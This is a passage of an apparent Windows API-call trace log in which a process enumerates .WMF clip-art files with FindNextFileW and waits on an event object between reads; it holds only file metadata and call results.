[0189.010] ResetEvent (hEvent=0x174) returned 1 [0189.010] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0189.703] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0189.703] ResetEvent (hEvent=0x174) returned 1 [0189.703] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0189.840] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0189.840] ResetEvent (hEvent=0x174) returned 1 [0189.840] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.075] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0190.076] ResetEvent (hEvent=0x174) returned 1 [0190.076] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.111] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0190.111] ResetEvent (hEvent=0x174) returned 1 [0190.111] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.138] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0190.139] ResetEvent (hEvent=0x174) returned 1 [0190.139] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.158] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0190.159] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0190.159] ResetEvent (hEvent=0x174) returned 1 [0190.159] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.182] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0190.182] ResetEvent (hEvent=0x174) returned 1 [0190.182] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.199] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0190.200] ResetEvent (hEvent=0x174) returned 1 [0190.200] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.221] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0190.221] ResetEvent (hEvent=0x174) returned 1 [0190.221] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.632] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0190.632] ResetEvent (hEvent=0x174) returned 1 [0190.632] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.871] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0190.872] ResetEvent (hEvent=0x174) returned 1 [0190.872] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.890] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0190.890] ResetEvent (hEvent=0x174) returned 1 [0190.891] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.948] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0190.949] ResetEvent (hEvent=0x174) returned 1 [0190.949] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0190.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0190.977] ResetEvent (hEvent=0x174) returned 1 [0190.978] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0191.004] ResetEvent (hEvent=0x174) returned 1 [0191.004] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.028] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0191.028] ResetEvent (hEvent=0x174) returned 1 [0191.028] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.050] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0191.050] ResetEvent (hEvent=0x174) returned 1 [0191.050] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.072] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0191.073] ResetEvent (hEvent=0x174) returned 1 [0191.073] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.094] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0191.094] ResetEvent (hEvent=0x174) returned 1 [0191.095] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.110] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0191.111] ResetEvent (hEvent=0x174) returned 1 [0191.111] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.127] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0191.127] ResetEvent (hEvent=0x174) returned 1 [0191.127] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.161] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0191.162] ResetEvent (hEvent=0x174) returned 1 [0191.162] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.189] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0191.189] ResetEvent (hEvent=0x174) returned 1 [0191.190] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.215] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0191.215] ResetEvent (hEvent=0x174) returned 1 [0191.215] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.242] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0191.242] ResetEvent (hEvent=0x174) returned 1 [0191.242] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.265] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0191.265] ResetEvent (hEvent=0x174) returned 1 [0191.265] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.299] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0191.299] ResetEvent (hEvent=0x174) returned 1 [0191.299] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.314] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0191.315] ResetEvent (hEvent=0x174) returned 1 [0191.315] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.334] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0191.334] ResetEvent (hEvent=0x174) returned 1 [0191.334] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.352] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0191.352] ResetEvent (hEvent=0x174) returned 1 [0191.352] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.375] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0191.376] ResetEvent (hEvent=0x174) returned 1 [0191.376] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.390] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0191.390] ResetEvent (hEvent=0x174) returned 1 [0191.390] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.420] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0191.421] ResetEvent (hEvent=0x174) returned 1 [0191.421] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.439] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0191.440] ResetEvent (hEvent=0x174) returned 1 [0191.440] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.460] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0191.461] ResetEvent (hEvent=0x174) returned 1 [0191.461] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.483] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0191.484] ResetEvent (hEvent=0x174) returned 1 [0191.484] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.501] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0191.502] ResetEvent (hEvent=0x174) returned 1 [0191.502] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.525] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, 